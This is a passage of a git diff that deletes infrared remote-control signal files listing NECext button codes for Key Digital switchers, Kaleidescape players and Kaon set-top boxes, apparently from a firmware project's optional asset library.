0 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 09 00 00 00 -# -name: BRIGHTNESS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0A 00 00 00 -# -name: IN2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 10 00 00 00 -# -name: IN3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 12 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 13 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 15 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 16 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 17 00 00 00 -# -name: PASS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 18 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 18 00 00 00 -# -name: IN4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 19 00 00 00 -# -name: IN1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1A 00 00 00 -# -name: RSRV -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1D 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1E 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir deleted file mode 100644 index cca508a51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir deleted file mode 100644 index e377ad186..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 52 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 53 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 54 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 55 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 56 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 57 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 58 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 59 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir deleted file mode 100644 index 0233f537a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 52 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 53 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 54 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir deleted file mode 100644 index 23815b4f4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 09 00 00 00 -# -name: BRIGHTNESS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0A 00 00 00 -# -name: IN2 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0D 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 10 00 00 00 -# -name: IN3 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 11 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 12 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 13 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 15 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 16 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 17 00 00 00 -# -name: PASS -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 18 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 18 00 00 00 -# -name: IN4 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 19 00 00 00 -# -name: IN1 -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1A 00 00 00 -# -name: RSRV -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1D 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1E 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 84 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir deleted file mode 100644 index cca508a51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir deleted file mode 100644 index f33a7f773..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir +++ /dev/null @@ -1,434 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: DIGIT_1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: DIGIT_2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: DIGIT_3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: DIGIT_4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: DIGIT_5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: DIGIT_6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: DIGIT_7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: DIGIT_8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: DIGIT_9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: DIGIT_0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: SCAN_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: STOP_OR_CANCEL -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: SCAN_REVERSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: DVD_TOP_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: DVD_RESUME -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: PAGE_UP_OR_PREVIOUS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: PAGE_DOWN_OR_NEXT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: NEXT_ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2F 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: MUSIC_REPEAT_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 60 00 00 00 -# -name: MUSIC_REPEAT_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 61 00 00 00 -# -name: MUSIC_REPEAT_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 62 00 00 00 -# -name: GO_MUSIC_LIST -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 63 00 00 00 -# -name: GO_ALBUM_COVERS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 64 00 00 00 -# -name: GO_MUSIC_COLLECTIONS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 65 00 00 00 -# -name: GO_NOW_PLAYING -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 66 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: DVD_OR_KALEIDESCAPE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A0 00 00 00 -# -name: SHUFFLE_COVER_ART -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A1 00 00 00 -# -name: SHOW_DETAILS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A2 00 00 00 -# -name: PARENTAL_SAFE_LVL -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A4 00 00 00 -# -name: PARENTAL_DEFAULT_LVL -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A5 00 00 00 -# -name: SET_FAV_SCENE_START -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A6 00 00 00 -# -name: SET_FAV_SCENE_END -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A7 00 00 00 -# -name: GO_MOVIE_COVER_ART -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A8 00 00 00 -# -name: GO_MOVIE_LIST -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A9 00 00 00 -# -name: GO_MOVIE_COLLECTIONS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AA 00 00 00 -# -name: GO_SYSTEM_STATUS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AB 00 00 00 -# -name: GO_PARENTAL_CONTROL -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AC 00 00 00 -# -name: INTERMISSION_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AD 00 00 00 -# -name: INTERMISSION_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AE 00 00 00 -# -name: INTERMISSION_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AF 00 00 00 -# -name: GO_SCREEN_SAVER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B1 00 00 00 -# -name: STOP_SCREEN_SAVER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B2 00 00 00 -# -name: SHOW_DEMO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B3 00 00 00 -# -name: SHOW_DEMO_LOOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B4 00 00 00 -# -name: PAUSE_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B5 00 00 00 -# -name: PAUSE_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B6 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B7 00 00 00 -# -name: K_MENU_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B8 00 00 00 -# -name: K_MENU_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B9 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BA 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BB 00 00 00 -# -name: DISPLAY_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BC 00 00 00 -# -name: MUSIC_RANDOM_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BD 00 00 00 -# -name: MUSIC_RANDOM_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BE 00 00 00 -# -name: MUSIC_RANDOM_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BF 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: CB 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F3 00 00 00 -# -name: POWER_STANDBY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F4 00 00 00 -# -name: K_MENU_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir deleted file mode 100644 index 83ff9ba59..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: DVD_RESUME -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: DVD_TOP_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: AUDIO_NEXT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: ANGLE_NEXT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: SUBTITLES_NEXT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2F 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 40 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A0 00 00 00 -# -name: SHUFFLE_COVER_ART -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A1 00 00 00 -# -name: DETAILS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A2 00 00 00 -# -name: SAFE_LEVEL -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A4 00 00 00 -# -name: SET_FAV_SCENE_START -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A6 00 00 00 -# -name: SET_FAV_SCENE_END -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A7 00 00 00 -# -name: GO_COVER_ART -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A8 00 00 00 -# -name: GO_MOVIE_LIST -type: parsed -protocol: NECext -address: 45 00 00 00 -command: A9 00 00 00 -# -name: GO_FAVORITES -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AA 00 00 00 -# -name: GO_SYSTEM_STATUS -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AB 00 00 00 -# -name: GO_PARENTAL_CTRL -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AC 00 00 00 -# -name: INTERMISSION_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AD 00 00 00 -# -name: INTERMISSION_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AE 00 00 00 -# -name: INTERMISSION_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: AF 00 00 00 -# -name: GO_SCREEN_SAVER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B1 00 00 00 -# -name: STOP_SCREEN_SAVER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B2 00 00 00 -# -name: GO_DEMO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B3 00 00 00 -# -name: GO_DEMO_LOOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B4 00 00 00 -# -name: PAUSE_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B5 00 00 00 -# -name: PAUSE_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B6 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B7 00 00 00 -# -name: K_MENU_ON -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B8 00 00 00 -# -name: K_MENU_OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: B9 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BA 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BB 00 00 00 -# -name: DISPLAY_CYCLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: BC 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: CB 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: LEAVE_STANDBY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F3 00 00 00 -# -name: ENTER_STANDBY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F4 00 00 00 -# -name: K_MENU_TOGGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir deleted file mode 100644 index 5170b6b90..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 00 00 00 00 -# -name: PSIZE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 04 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 07 00 00 00 -# -name: TV/STB -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 08 00 00 00 -# -name: ACOUNT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 09 00 00 00 -# -name: ALR -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0A 00 00 00 -# -name: ALANG -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0C 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0D 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 42 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 46 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir deleted file mode 100644 index e8c372d42..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 00 00 00 00 -# -name: P.SIZE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 04 00 00 00 -# -name: TV/RADIO -type: parsed 